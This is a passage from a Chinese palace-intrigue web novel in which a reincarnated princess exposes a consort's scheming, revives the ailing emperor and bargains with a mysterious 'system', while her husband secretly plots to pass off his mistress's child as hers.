“本宫住紫宸殿偏殿就好,不必再布置。”冷小幸摆手道:“都下去吧,好生做事,莫要想些有的没的。”
众人连忙告退。
冷小幸带着一众侍从进了殿门,穿过院子走到寝宫正门前,只带了崔嬷嬷、柳嬷嬷、紫藤入内,将其他人留在廊下。
屋内众人向冷小幸躬身行礼,坐在御床旁绣凳上的淑妃起身,快步迎上,嘴角含笑道:“昭华来了。”
冷小幸充耳不闻,越过淑妃,向昏睡的皇帝叩拜,而后起身抬手叫起屋内众人。
接着,冷小幸对立在床头的千牛卫周将军、王内侍省道:“二位辛苦。”
二人皆称不敢。
冷小幸不甚在意,上前几步坐在方才淑妃坐过的绣櫈,为皇帝诊脉。
诊完脉后,转头吩咐守在一旁的冯太医道:“把父皇的医案拿来我瞧瞧。”
冯太医心知来者不善,但他自负医术高超,并不将冷小幸放在眼里,答应一声便要退下去取。
又听冷小幸声音响起:“紫藤,你也去。”
紫藤应是跟着冯太医一起下去。
淑妃这才回过神。
淑妃出身宣平侯府旁支。
比起宣平侯府,世人更习惯将其称为郑州吴氏。
淑妃虽父母早亡,好在她投胎高门,吃穿不愁。
可惜天下大乱,世家有所式微,对于旁支孤女的教育难免有所欠缺,何况淑妃本人资质并不出众,只是生的美艳,空有一副好皮囊。
所以当年皇帝小有势力之时,吴氏报着可有可无的投机心态,将淑妃送给皇帝做妾。
不曾想一场小小的投资,却博了一场大富贵。
皇帝有统一四海之象后,吴氏曾想再送一位精心培养的女孩,被皇帝拒绝。
皇后也曾出言安慰为此心生不安的淑妃。
对此,淑妃很是感念,她明白皇后、太子地位稳如泰山,所以不敢生出野望,一向安分守己。
侍奉皇帝、皇后多年,淑妃所做唯一出格的事,便是几年前在宣平侯夫人的诱导下,禀明皇后让吴思齐做了二皇子的伴读,并在之后的岁月中暗中引诱昭华公主对吴思齐生出爱慕之情。
5. 替驸马养私生子的公主5
淑妃原本以为这就是她所能做到的极致,不曾想太子、皇后接连离世,太子妃产女,皇帝病重,朝廷内外突然无人主事。
她所出的二皇子是如今众皇子中最年长的,又有一半的世家血脉。正所谓流水的王朝,铁打的世家。
二皇子若能得到众世家的拥戴,一旦皇帝驾崩,他定能继承大统,而淑妃会一跃成为圣母皇太后,天下间最尊贵的女人。
短短几日,身边人的吹捧、投机者的示好,让淑妃误以为皇位已是二皇子的囊中之物。
昭华公主因驸马之故,对淑妃向来礼遇有加,亲近热情。
淑妃从未想过昭华公主会对她视而不见,自以为已站在权利顶端的淑妃反应过来,怒火中烧斥责冷小幸无礼。
冷小幸并不辩解,反问道:“此处并非后宫,后妃无招不得擅入,淑妃娘娘为何在此?”
“本宫来侍疾。”淑妃理直气壮答道。
“哦?”冷小幸狐疑道:“既是侍疾,万没有只劳累淑妃娘娘一人的道理,为何不见其他母妃?诸位皇弟、皇妹们又在何处?”
淑妃无法当众说出是她不许其他妃嫔前来,只能将此节略过道:“皇子、公主们年幼,便没让他们来。”
冷小幸也未计较宫妃,顺着淑妃的话问道:“其他皇弟、皇妹也就罢了,二皇弟年岁却不小了,怎么也不在?他去了哪里?”
淑妃张了几次嘴,不能作答,她虽然不甚聪明,却有着感知危险的本能。
冷小幸将目光移到了王内侍省脸上。
王内侍省心领会神,躬身道:“二皇子到前朝听政去了。”
“只是听政,不是监国吗?”冷小幸转头对着淑妃诚心发问。
淑妃心跳如雷,强笑道:“国政要紧,虽有大臣暂且处置,但我私心想着咱们也不能一无所知,就让你弟弟去听听,并无他意,昭华你要相信我啊。”
冷小幸不理这话,温声对王内侍省道:“劳烦公公亲自去一趟请六部尚书、御史大夫、司天台监、还有燕王叔来给父皇请安,顺便把二皇弟一并接回来。”
王内侍省带人去办。
淑妃不明所以,站在殿中不知所措。
不一会冯太医、紫藤捧着医案回来呈上。
冷小幸接过医案细看。
冯太医镇定自若,立在一旁。
淑妃不及冯太医心理素质好,数次偷偷抬眼看向冯太医,还以为无人察觉。
室内只有冷小幸翻阅医案的沙沙声,她越看,眉头锁得越紧。
千牛卫周将军见了,不由自主握紧刀柄。
像是约好了似的,冷小幸合上医案的同时,门外传来通传声,宗正寺卿燕亲王,六部尚书等人到了。
冷小幸忙叫请进来,她则起身避让。
众人进殿,向病床上的皇帝叩拜,王内侍省代为叫起。
二皇子起身见淑妃面色不好,忙上前问候。
与众人厮见完毕的冷小幸见这母慈子孝一幕,煞风景开口质问:“二皇弟是没看到本宫吗?才几日没见,二皇弟便不知要向长姐问安吗?”
“长姐?”二皇子悲愤斥责道:“你还知道跟我一个辈分,方才怎敢欺辱母妃?你快向母妃道歉。”
“道歉?若我不呢?你待如何?”冷小幸一面说一面缓步向二皇子走去。
两人身量相仿,冷小幸步步逼近,二皇子不敢与她对视,微微后退一步。
“我......”二皇子刚出口一个字。
冷小幸已豁然出手,一巴掌将二皇子打翻在地。
淑妃尖叫一声,扑上去,捧着二皇子的脸细看,见二皇子面颊上五指掌印清晰鲜红,有浮肿之势。
淑妃目眦尽裂,扭身指着冷小幸,怒骂道:“放肆,你干什么?你怎敢动手打他?来人,把这个疯子抓起来。”
在场其他人还在震惊中,无人行动,听得淑妃所言他们也觉得冷小幸疯了。
皇帝病榻前,一个公主当着宗亲、重臣、后宫伦掌皇子成何体统,众人反应过来纷纷上前,想要阻止冷小幸发疯。
可冷小幸接下来一句话,让大家停下了动作。
冷小幸上前攥住淑妃指着她的手指,狠狠拽下,冷声道:“我想干什么?我倒想问问你们母子想干什么?难道你们没想过,这几日你们的所作所为,等父皇醒来会受到什么处罚吗?”
别说皇帝还没死,即便他死了,多年积威尚在,淑妃母子闻言不由自主抖了一下。
因光线折射,从淑妃母子角度看不清冷小幸面容,听她声如鬼魅,仿佛地府索命阎王,阴森道:“或者我换一种问法,你们怎么确定父皇再也醒不过来?!”
在场众人听了,不由呼吸一滞。
在生死存亡之际,淑妃迸发出的求生本能激发潜力,她将自己快被折断的手指从冷小幸手里抢救出来,颤声道:“你说什么,本宫听不懂。
你一个出嫁公主,有什么资格在这里大放厥词、含血喷人!
来人,把昭华带下去。”
无人敢动。
淑妃抖着嘴唇,有心呵斥,却无力张嘴。
冷小幸并不理会,转而对礼部尚书道:“久闻郑大人熟知礼法典籍,敢问我皇家宗妇是何人?”
郑尚书肃声道:“皇家宗妇唯有皇后、太子妃。”
“是吗?”冷小幸勾唇笑道:“这几日淑妃无诏代掌宫务,礼部可上奏言其不妥?”
郑尚书羞愧躬身道“不曾。”
冷小幸侧身避开,又对御史大夫道:“御史台可有上书谏言?”
“臣失职,甘愿领罚。”御史大夫立刻道。
冷小幸很满意他们没有以外臣不知或者不得干预内宫事推卸责任,但不代表冷小幸愿意放过他们。
她弹了弹衣袖上并不存在的灰,质问道:“诸位大人皆随父皇南征北战,共创大业。如今个个身居高位,理应为万民表率,可你们这般行径,对得住父皇的信重吗?。”
这话太重,众人扛不住,只得转身面向御
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床跪下。
冷小幸犹不放过,又问:“诸位大人以为如今该如何是好?”
这话问的诛心。
公主当众指控后妃皇子涉嫌谋害皇帝,皇家既无年老德高者,亦未定下后继之人,群龙无首之际朝臣又刚被冷小幸发作一番,此时若是答错半字,身家性命难保。
若是其他朝臣子或许更倾向于明哲保身,但在场朝臣与皇帝既是君臣亦是袍泽,情分非常。于是众人按官职出言,唯有燕王身份敏感不发一言。
作为皇权至上,以人为主制度为辅的封建时代,即便是朝中重臣齐聚最终能定下的也只有两条:一是淑妃无权执掌宫闱,她所有乱命即可作废,暂遣回内宫等候皇帝发落。
二是即刻张贴皇榜,广招民间医者,审查过后与太医四人一组为皇帝看诊,之前负责的主治冯太医先行关押,等皇帝定夺。
淑妃立刻被带了下去。
冯太医则不肯走,他自辩道:“臣及其他太医自陛下患病以来尽心尽力,不敢有丝毫懈怠。如今只因公主一句无端猜测,便要弃吾等不用,是何道理?”
“即便诸位大人觉得吾等医术不精不堪大用,但民间大夫良莠不齐,审核身份仍需考验医术才能为陛下看诊,如此耽搁只怕于陛下龙体有碍,还请诸位大人细想。”冯太医躬身不卑不亢道。
冷小幸冷笑道:“冯太医医术浅薄,嘴皮子倒是挺利索的,你既这样说,那本宫问你父皇何时能醒?”
“公主不通药理,陛下染病合该静养,”冯太医拱手道:“公主今日大吵大闹,于陛下痊愈不利,臣即便之前有把握,现下也不知还剩几分。”
“冯太医在太医院真是屈才了,不像个大夫倒像个卖锅的。”冷小幸轻嘲一声,不再与冯太医做口舌之争。
她几步走到御榻前,对一众还跪着的大臣道:“太医既然不顶用,民间再选又耗费时间,不如就由本宫为父皇医治吧。”
“万万不可,公主切莫戏言。”大臣纷纷出言劝阻。
就连方才一言不发的燕王都道:“昭华,莫要胡闹。”
“本宫方才为父皇切脉,倒有几分把握,可以一试。”冷小幸坚持道。
“这,从未听闻公主会岐黄之术。”众臣质疑:“敢问公主师从何人?何时学的?兹事体大,还请公主如实相告。”
“是跟华神医学的,已然出师,诸位大人尽可放心,本宫说能治便是能治。”冷小幸不耐烦道。
“先皇后病时,陛下曾派人请华神医,可她至今云游海外尚未归来。”众大臣不信,反驳道:“若说公主此前师从华神医,亦不曾听闻公主为先皇后、先太子诊治过,还请公主见谅,吾等不能放任公主肆意妄为。”
冷小幸见状,便面不改色编故事:“华神医来时,母后皇兄已然薨逝,本宫伤感于此遂拜华神医为师,本宫学有所成华神医便离开京都,此事不曾张扬,所以诸位大人不知。”
“也就是说,公主学医满打满算不过一月左右?”御史大夫问道。
6. 替驸马养私生子的公主6
“是的,”冷小幸梗着脖子,傲然道。
御史大夫强忍不满,拱手劝道:“世人学医,皆需数年之功。望公主以陛下龙体为念,让其他有经验的大夫医治,公主若不放心,可以在旁监督。”
众臣纷纷附和。
冷小幸却不肯借坡下驴,她像是听不懂般自信满满道:“华神医说本宫天纵奇才,一月已学她一生医术,她再无可教才走的。”
在场众人有人觉得根本没有华神医教导之事。
有人觉得即便有只怕也是华神医的脱身之语做不得真,冷小幸实在不知轻重。
她这样的表现,甚至削弱了她方才对淑妃、二皇子等人的指控力度。
崔嬷嬷亦觉得奇怪,若按冷小幸所言,华神医来时太子妃有孕在身,陛下怎会不命华神医为太子妃诊脉调养?
不过,崔嬷嬷不敢以此推断冷小幸说谎,她微微侧头瞄了眼柳嬷嬷与紫藤,她二人贴身伺候应当清楚究竟有无此事。
殊不知,柳嬷嬷与紫藤此刻惊恐非常,她们当然知道昭华公主从未学过医术,更不曾见过华神医,她怎能救治陛下?稍有不妥,公主或许还能保住性命,但她们定然死无全尸。
可她们是公主的下人,不能当众揭穿主子,面上也不敢露出破绽,心中则五内俱焚。
僵持之际,药房送来汤药。
冯太医适时开口道:“陛下吃药的时辰到了,还请公主先让陛下服药。”
“我看过医案,你们不曾为父皇针灸过,”冷小幸问道。
冯太医淡然道:“并非所有病症都适用针灸,公主若觉汤药有不妥,尽可查验,只是切莫耽误陛下病情。”
冷小幸置若罔闻快步走到床榻前放着药箱的案几前,打开抽屉,找到针灸包。
仍跪在地上冯太医见状,口里慌道:“公主切莫妄为。”心中却暗自庆幸,只等冷小幸下手扎针便可将皇帝之死推到她身上。
其它朝臣见状再也顾不得,纷纷起身想要制止冷小幸,有人喝道:“公主闹半日也该歇歇了,快快住手。”
他们下跪之地离御床还有一小段距离,比不得冷小幸近在咫尺。
千钧一发之际,冷小幸将千牛卫周将军的佩刀抽出,转身刀刃对着众人厉声道:“谁敢上前!”
“公主小心,刀剑无眼,”被喝退的众人一面说,一面对冷小幸身后的周将军使眼色,要他擒住冷小幸。
却不知周将军正在心中赫然,他明明握住刀柄,不知冷小幸是如何在电光火石间夺了他的佩刀,还点了他的穴道,他只能眼睁睁看着一众大臣殷切的目光,什么都做不了。
“诸位大人别挤眉弄眼,也不怕眼睛抽筋。”冷小幸含笑道:“尔等不信本宫的医术,本宫理解。也请诸位相信本宫是真心救父皇。”
冷小幸颠着刀道:“你们想必也不知本宫会武,可本宫顷刻间拿了佩刀,还封住了周将军的穴道。那本宫会医术也不算天方夜谭,对不对?还请诸位给本宫一炷香时间,若是父皇没有好转,要杀要剐,悉听尊便。”
众臣面面相觑,不知如何是好。
燕王越众而出:“昭华,你当真要如此吗?”
“为救父皇,侄女在所不惜,还请王叔成全。”冷小幸斩钉截铁道。
“好,王叔信你,你施展便是。”燕王深深看了眼冷小幸道:“王叔为你作保。”
“燕王殿下,”立刻有朝臣不赞同道。
燕王转身面向朝臣摆手道:“诸位大人不必多言,若有差池,本王愿以死谢罪。”
话说的这个份上,众臣不再多言。
冷小幸见状,反手将佩刀插回周将军腰间刀鞘,打开针灸包,捏起针却不急着下,闭眼调整呼吸。
系统对她精神、□□的摧残从未停止,不知冷小幸为何能坚持到现在。
“你真有把握治好?”系统见冷小幸不动手,不由问道。
冷小幸嘴角勾笑:“能不能治,只在你一念之间。”
“我?”
“对,若是你不干扰我,我一定能把他救活,所以选择权在你。”冷小幸一面命人给皇帝宽衣,一面道。
系统没在说话,冷小幸感到萦绕在心间的负面情绪一扫而空,双手亦不再剧痛。
她心中暗叹一声,飞速下针。
片刻后,收手的冷小幸坐在床榻绣凳上,一边用锦帕擦拭鬓角细密的汗珠,一边吩咐宫女取一盏加了蜂蜜和盐巴的温水及小汤匙来。
宫女很快手持托盘,将冷小幸要的东西取来奉于她。
冷小幸却不接,摆手让宫女在一旁候着。
临近一炷香期限,冷小幸上手将针一一拔下。
皇帝看起来没有任何变化。
跪坐在地上装了很久鹌鹑的二皇子嚷道:“时辰已到,诸位大人还不快快拿了这个逆女。”
说罢,他起身向御榻奔去,边哭边吩咐道:“冯太医,你快来看看父皇。”
双腿跪麻的冯太医撑地起身,咬牙跑向御榻。
还未等这两人近身,冷小幸一记眼刀,二皇子、冯太医便吓得止了步,见冷小幸目光扫过两人膝盖又转回皇帝面庞。
二皇子鼓了几次勇气,还是没敢上前,反而对着御床跪下了,边跪边想:“我看你能嚣张到什么时候,等父皇宾天,我就下令将你乱棍打死。”
冯太医见状,只好忍气吞声跟着跪下。
冷小幸嗤笑出声。
二皇子只觉被凌空又打了一耳光,已红肿起来的巴掌印火辣辣疼,屈辱至极,眼泪在眼眶打转。
作为百官之首的尚书令对燕王道:“王爷,您看......”
话未说完,冷小幸打断道:“安静。”
众人抬眼去看,只见冷小幸伸出两指在皇帝脉门轻轻一按。
皇帝竟咳嗽一声,随后喉咙发出微弱声响。
朝臣们立刻大喜道:“陛下醒了。”
冷小幸扭头低喝:“别吵。”
说罢,她从托盘拿起茶盏,用小汤匙舀着糖盐水,一小口一小口喂皇帝喝了小半盏。
接着,冷小幸将茶盏放回托盘,拿过宫女送上的棉帕给皇帝擦擦嘴角,而后起身示意朝臣
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跟她出去。
走前还顺手解开了周将军的穴道。
二皇子和冯太医被燕王一手一个提了出去。
等人都出来,冷小幸命殿内侍从关上门,才对朝臣道:“父皇刚刚只是恢复些许意识,彻底清醒还需一段时日,诸位大人放心便是。”
朝臣中有不少人热泪盈眶,甚至有些人方才为了不发出声音惊扰皇帝,用手紧紧捂着嘴巴,这会儿才放下。
众人对冷小幸躬身行礼道:“方才吾等对公主多有不敬,请公主责罚。”
“诸位大人切莫如此,快快免礼。你们与父皇君臣相宜,都是为了父皇龙体康健才会如此,本宫岂忍苛责?”冷小幸扶起离她最近的尚书令,见众臣直起身子,又道:“劳烦大理寺卿将冯太医带走受审吧,父皇醒后必要垂问。”
大理寺卿忙拱手道:“臣遵命。”
燕王手一松,冯太医瘫软在地,有侍卫上前将其拖走。
二皇子仍在燕王手中,瑟瑟发抖。
冷小幸开口道:“来人,把二皇弟送到淑妃娘娘宫里去。”
不理二皇子挣扎,冷小幸对众朝臣道:“今日之事,还请诸位守口如瓶,一切等父皇醒来再行发落,诸位大人以为如何?”
“甚妥。”朝臣们忙道。
冷小幸闻言便道:“朝政繁多,诸位大人先去忙吧,司天台监大人且留一留。”
朝臣与燕王皆告退。
留下的司天台监忐忑不安觑着冷小幸面色。
冷小幸没让他久等,开口道:“天文星历之道,玄妙至极,想来只有如大人这般的世家子弟才能接触,平民百姓哪里能学得到?”
“这......”司天台监口舌发苦正想着该如何措辞。
冷小幸挥手打断道:“本宫知道你们这些人说话喜欢弯弯绕绕,本宫没空跟你打机锋,只嘱咐你一句管好司天台,把小动作收一收,父皇醒来前,本宫不想听见任何谣言,明白吗?”
司天台监连忙辩白:“公主......”
冷小幸再次打断:“不用跟我解释,下去吧。”
司天台监还想再说,冷小幸理也不理,已转身向殿内走。
冷小幸进殿又为皇帝把了把脉。
系统紧张道:“怎么样?好了吗?”
“好不好,与你何干?”冷小幸挑眉道。
系统:“我,我”半天,说不出个所以然。
冷小幸叹了口气道:“昭华公主心系父亲安危,这有什么说不出口的?”
“你,你在说什么?”系统慌道。
冷小幸试探道:“你怕什么,难道你们有规定,你不能承认自己的身份?”
系统不答,另起话头道:“难道前世真是冯太医害了陛下?”
“是与不是,都要讲究证据,安心等审查结果便是。”冷小幸稳如泰山。
系统急了:“可你以此软禁了淑妃娘娘和二皇子,岂不是在构陷他们?”
“你这样问,究竟是想知道真相?”冷小幸不疾不徐问道:“还是怕上一世你错信了杀父仇人?”
7.替驸马养私生子的公主7
系统勃然大怒。
冷小幸只觉心脏像是被一双手揉捏一般,疼痛难忍,她不由前倾,右手撑住床榻。
周将军忙上前道:“公主,你怎么了?”
冷小幸舒了一口气,缓缓直起身子,强笑道:“没事,刚才我冒犯周将军,还望见谅。”
“公主这是哪里话,”周将军连连摆手道:“是我学艺不精。不过,臣从未听闻公主竟然精通武艺。”
冷小幸闻言,露出一丝苦笑答非所问道:“之前太子尚在,父皇康健。”
“臣失言,公主勿怪。”自以为冷小幸这话大有深意的周将军不敢再说,立刻道。
冷小幸撑着床榻起身道:“无妨,我去偏殿歇息片刻,父皇的这里就有劳将军了。”
“公主放心,臣必当尽力。”
冷小幸手搭在紫藤小臂上,缓步到了偏殿。
柳嬷嬷跟在身后,她与紫藤心中百般疑问,却不好问出口。
两人见冷小幸面色实在难看,先扶她靠在躺椅上。
冷小幸先让其它宫女下去,才对她二人道:“你们有话直说便是。”
柳嬷嬷与紫藤对视一瞬。
紫藤小心翼翼道:“你真是公主吗?”
“呵呵,”冷小幸失笑道:“事到如今,也瞒不过你们。”
柳嬷嬷与紫藤依偎在一起,瑟瑟发抖以为冷小幸是杀人夺舍的妖魔鬼怪。
冷小幸假装没看到她们眼中的恐惧乞求。
将前世驸马与陈宝珠通|奸生下孩子,诱骗昭华公主将其抱养,并在公主为这个孩子求得爵位后,将公主毒杀等事讲出。
柳嬷嬷年老阅尽沧桑,闻言立刻道:“难道前世陛下早早驾崩,是二皇子继位吗?”
冷小幸一手紧紧揪住胸口衣裳,痛心疾首道:“嬷嬷所言不错,我死后遇到一位神仙,她说我本命不该绝,皆因小人窃取龙脉方有此劫,命我回来拨乱反正,她还传授些仙法给我。”
“因我们三人一直在一处,这话我只能对你二人说,旁人听了怕是会以为是鬼怪作祟,你们切不可再对他人提及。”冷小幸盯着柳嬷嬷、紫藤道。
“公主放心,我们绝不会说出去。”柳嬷嬷、紫藤异口同声道。
紫藤轻皱眉头道:“公主,既如此我们还需统一口径。”
“不错,”冷小幸点头赞同。
三人商量一番,对外说辞是国朝未立时,尚未称帝的皇帝带着太子等人常年在外征战,先皇后留守后方,曾请几位师傅教导公主武艺等,因这世道讲究“女子无才便是德”,便不曾对外宣扬。
“崔嬷嬷回少阳宫去了,皇嫂聪慧只怕已察端倪。”冷小幸对柳嬷嬷道:“劳烦嬷嬷走一趟,向皇嫂解释一二,请她安心,我定会治好父皇。”
“是”柳嬷嬷领命而去,不必多说。
此后几日,皇帝在冷小幸的精心照料下,渐渐苏醒。
冷小幸在无人时将那日宫中发生之事及编造曾在先皇后庇护下学艺等事说与皇帝,最后她道:“之前华神医来,儿臣确实跟她学过几天医术,只是那时父皇伤感母后、皇兄亡故,遂未禀明父皇,还望父皇恕罪。”
皇帝拍着她的手道:“好孩子,我怎么会怪你呢?要怪也怪你娘瞒住别人也就是了,何必瞒着为父?这么多年为父竟不知我的女儿这般优秀。”
“父皇从前觉得女儿蠢笨无知吗?”冷小幸撅着嘴道。
皇帝抬起手刮了刮冷小幸的鼻子道:“我如花似玉的女儿偏偏看上一个一无是处的小白脸,不让嫁哭着闹着也要嫁过去,你让为父怎么想?”
冷小幸不答,她俯下身子将脑袋贴在皇帝胸口道:“父皇醒了真好。”
皇帝抚摸着冷小幸脊背道:“这么大了还撒娇,也不怕旁人笑话。”
“父皇面前女儿就是活到一百岁,也还是个孩子。”冷小幸蹭着皇帝胸口道。
皇帝慈爱笑着,慢慢睡去。
又过了几日,皇帝精神更好些,难免挂心政务。
冷小幸便道:“父皇虽还不能劳心费神亲自处理政务,听一听却无妨,就命尚书令捡些大事向父皇回禀,可好?”
“甚好,还是我儿想的周到。”皇帝怜爱抚摸冷小幸的脑袋道:“这次你救了为父,想要什么赏赐?”
“儿臣什么都不缺,没什么想要的。”冷小幸笑道:“何况自父皇醒后已经赏了不少好东西,都快没地放了。”
皇帝哈哈大笑道:“也罢,日后你想到什么再跟父皇要。”
冷小幸满口答应,命内侍去请尚书令。
从此之后,尚书令每日申时一刻来向皇帝汇报政务。
冷小幸守在一旁,不让皇帝太过费神。
一日,尚书令提到此次驸马吴思齐外出安置流民,差办得甚是妥当。
尚书令走后,皇帝便将冷小幸唤道身前道:“这次好好封赏驸马一番,给你添光。”
“且不说差事办好是驸马本分之事,没什么可封赏的,”冷小幸冷哼道:“便是父皇破格封赏,与儿臣有什么干系?驸马是驸马,儿臣是儿臣,岂可混为一谈。”
“怎么?驸马惹你生气了?”皇帝奇道。
“没有,”冷小幸想了想又道:“父皇之前说要给儿臣赏赐,还作不作数?”
“当然作数。”
“那好,儿臣要上朝听政。”
“昭华,休要胡言,你一个女儿家怎么能上朝堂呢?”
“那父皇就能言而无信吗?岂不闻君无戏言?”
皇帝听了这话也没动怒,只问道:“你真想去?”
冷小幸连连点头道:“比真金还真。”
“让为父想想,”皇帝沉吟道。
“谢谢父皇,”冷小幸抱着皇帝胳膊,笑面如花:“父皇最好了。”
父女俩笑语片刻,皇帝招来了暗卫首领。
冷小幸起身找了个借口到殿外避开,却不知殿内皇帝命暗卫首领道:“去查一查驸马做了什么事惹恼昭华?”
暗卫首领效率很高,赶在晚间皇帝就寝前已将事情查清前来回禀。
从宣平侯夫人踩着昭华公主赚名
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声,驸马小厮诱骗昭华公主搬入宣平侯府,到驸马与陈宝珠珠胎暗结,宣平侯夫人软硬兼施逼迫公主等孩子生下养在身边,并传信于驸马等事一一说清。
皇帝听后,当下便要下令杀了驸马一家,可又怕女儿痴恋驸马,如此处置怕是要伤了女儿的心。
转念又想到女儿年幼时,他虽常年在外征战,却也知道这孩子自幼娇气,小时候蹭破一块油皮都能哭闹半日。
如今受了这么大委屈,竟一声没吭,想必是顾念他这个做父亲的还在病中。
皇帝一算时间便知昭华搬去宣平侯府那日正是冯太医将自己救不活消息透露给淑妃的第二日,这群畜生狼子野心昭然若揭。
“去查查淑妃是如何与宫外互通消息的?”皇帝对暗卫首领吩咐道。
皇帝着实气恼,他还没死妃嫔就敢向外散播消息。
宣平侯府更是可杀,当日百般求尚主,求到了却做出大逆不道之举。
皇帝想着要是让驸马这么容易死了,难保日后女儿伤心,倒不如交由女儿处置,她若立不起来,再杀不迟。
翌日清早,冷小幸照常为皇帝诊脉,她眉心一跳嗔怪道:“都说了让您安心休养,瞧着肝火旺的,天大的事也不值得气着您自个儿。”
“好,好,朕不生气,”皇帝满口答应转而道:“昨儿你说想上朝听政,为什么突然间想到这个了?”
冷小幸眼睛亮晶晶道:“若儿臣说是想建功立业,父皇会觉得儿臣不自量力吗?”
“当然不会,为父只会觉得我儿有志气,不愧是我的女儿。”皇帝朗声笑道。
“父皇这是许了?”冷小幸咧嘴笑道。
“这个嘛,”皇帝捻着胡须道:“给你个差事,若是办得好,父皇就答应你。”
“还请父皇吩咐。”冷小幸躬身道。
“你代朕去审问淑妃,问她是否听了冯太医的话,生出野望?”皇帝沉声道:“再去问问你二弟他知不知此事?”
冷小幸闻言不由一愣。
皇帝刚苏醒不见太医为他诊脉,自然要问。
冷小幸只说太医医术不精,暂且由她为皇帝看诊。
等皇帝稍微有点精力,冯太医一案事关皇帝生死,这是大事,大理寺卿特来禀告过对冯太医审查结果:冯太医并未给皇帝下毒,但他将皇帝命不久矣的诊断结果偷偷告知淑妃。
因外臣无权审问后妃、皇子,所以尚未正式结案。
如今没有太后、皇后,唯一有权审问淑妃母子便是皇帝,既然已查清并非下毒,只是以冯太医为首的众太医医术不精,嘴不严心思浮动之下向淑妃投诚。
且短短几日,淑妃二皇子尚未成气候。
皇帝精神不济,便暂且放过。
这几日,皇帝身体好转些,有心力处置政务。
冷小幸冷眼看着皇帝更加关心百姓生机问题,她便估摸着皇帝大愈后才会处置淑妃母子,不想今日竟命她前去。
这是她崭露头角的机会,当然不能错过。
冷小幸立刻带人去了淑妃宫中。
8.替驸马养私生子的公主8
冷小幸领命前去,对淑妃母子二人道:“父皇已醒,冯太医招认是他告诉娘娘父皇命不久矣。父皇让本宫来问问娘娘,冯太医所言是否为真?娘娘先别急着回答,父皇还要我问问二弟是否知情?”
原本张嘴喊冤的淑妃,闻言立刻改口道:“他不知道,我,我也不是有意打听的。是,是冯贼人主动告诉我,我不是有意的。”
“昭华,你要相信我呀,”淑妃语无伦次道:“我那时六神无主,又怕那些外臣糊弄咱们,才让你弟弟去前朝听听,昭华求求你告诉陛下,我们母子绝无他意。”
淑妃跪行向前,伏在地上抓着冷小幸的衣摆苦苦哀求。
冷小幸看向还直愣愣站在原地的二皇子道:“二弟,你当真不知?”
淑妃回头嘶声力竭喊道:“好孩子,你快说,你不知道,你真的不知道。”
二皇子像被惊醒般,仓皇失措看了一眼冷小幸,又瞥了眼淑妃,低下头小声道:“我,我不知道,我什么都不知道。”
“昭华、昭华,你听到了吗?千错万错都是我的错,求求你,求求你,放过你弟弟。”淑妃再三祈求。
冷小幸拨开淑妃还拽着她衣摆的手道:“既如此,我便回禀父皇。”
眼看冷小幸转身走了,淑妃卸下一口气瘫软在地。
她缓了好一会儿,才慢慢起身走到二皇子身边,将蹲在地上抱头埋膝的二皇子搂入怀中。
淑妃心中五味杂陈,她当然希望二皇子撇清与这件事的关系。
可当二皇子亲口说出他不知道时,淑妃的心却像被生生挖去一块。
但她又能怎么办呢?二皇子是她一生的倚仗。
淑妃闭上眼睛,流下两行清泪。
冷小幸回去如实向皇帝讲述方才淑妃宫中一幕。
已知道冷小幸所为的皇帝道:“明日你去听政吧,跟着你燕王叔便是,记住只能听不能多嘴。”
“儿臣明白,谢父皇。”冷小幸敛身道。
皇帝下令将淑妃、二皇子身边一等内侍宫女全部杖杀,二等没入掖庭局,三等发配皇陵,余者打乱重新分配到各宫。
淑妃降为婕妤,二皇子交由德妃养育,又选了几位大儒给二皇子讲学。
就在皇帝雷厉风行处置之际,安置完流民的驸马吴思齐回京交差,求见皇帝。
内侍道:“陛下病着不见人,驸马请回吧。”
闻言吴思齐不敢强求,冲着皇帝寝宫的方位磕了个头,起身塞了张银票给内侍道:“不知公主是否有暇?我可否进宫向公主问安?”
内侍将手收回袖中,笑道:“公主忧心陛下,只怕没空见驸马,待陛下大安,驸马再求见不迟。”
吴思齐听了,向内侍拱手称谢,而后打道回府。
宣平侯府,侯夫人与陈宝珠喜气洋洋为吴思齐接风洗尘,三人共坐一桌,其乐融融。
吴思齐与陈宝珠眉眼传情,大有小别胜新婚之意。
宣平侯夫人看在眼里,若是换成别的男女,她定要斥责奸夫□□,毫无廉耻。
可换成自己的亲儿子和亲侄女儿,宣平侯夫人只觉他们是一对金童玉女,却被生生拆散,真是可怜可叹。
用完饭,宣平侯夫人便催着两人回陈宝珠的院子,她对吴思齐道:“我的儿,你一路辛苦。明日好生歇一歇,不必早起来请安。”
吴思齐满口答应,牵着陈宝珠走了。
侯夫人回了卧房,她的心腹嬷嬷道:“夫人,如今世子院里有不少公主府的人,世子今晚若不回房睡,只怕会传到公主耳中。”
“怕什么,到时候就说思齐见公主不在,不好直接进去,在外书房歇了,”侯夫人不以为然道:“就算她知道齐儿去了珠儿院里睡,又能怎么样?怪只怪她没本事,拢不住我儿的心。”
“要不是死老头子,非要让齐儿尚主。齐儿早与珠儿成婚,珠儿腹中的孩子也是我名正言顺的嫡孙。”侯夫人气道:“哪里会像现在这样?无名无份的。”
侯夫人说着伤心起来,拿锦帕擦着眼角道:“我知道老不死的嫌我娘家败落了,他也不想想当年要不是娶了我,他能坐稳吴家家主的位置?呸,没良心的狗东西。”
“夫人别伤心了,现下不过再忍耐几日,咱们珠儿姑娘的福气在后头呢。”嬷嬷忙安慰道。
侯夫人听了这句话,心中宽慰了些,渐渐收了泪。
陈宝珠与侯夫人不愧是亲姑侄,此刻正梨花带雨,任凭吴思齐怎么哄都不行。
吴思齐将陈宝珠搂抱在怀中,温声道:“快别哭了,你一哭我的心都要被你哭碎了。”
“就知道说好听的,”陈宝珠碎了一口道:“我巴巴等了你这么些年,你倒好,转头就娶了别的女人,还骗了我的身子,如今孩子都有了,难道你要让这孩子出生便没有父亲吗?”
“怎么会?我听说公主进宫几日了,想来那位病的沉了。等公主回来,我好生哄着她,等这孩子生下来就抱去充作是她生的。等她给咱们孩子要个爵位,再治死了她,就娶你过门。”吴思齐蹭着陈宝珠脖颈嗅着她身上香气道。
陈宝珠推了把吴思齐脑袋道:“我不依,凭什么要把我的孩子充作她的孩子?”
“公主按例是有爵位的”吴思齐舔着脸凑回去道:“若只是你我的孩子,将来只能继承这座有名无实的侯府罢了,比不得新朝公主子嗣的爵位。你呀,安心把咱们宝贝儿子生下来,将来再给我生个小儿子,他们一个有公主子嗣爵位,一个继承侯府。”
“儿子,儿子,你就知道儿子,”陈宝珠抚着肚子道:“万一这是个女儿呢?难道你就不认了?”
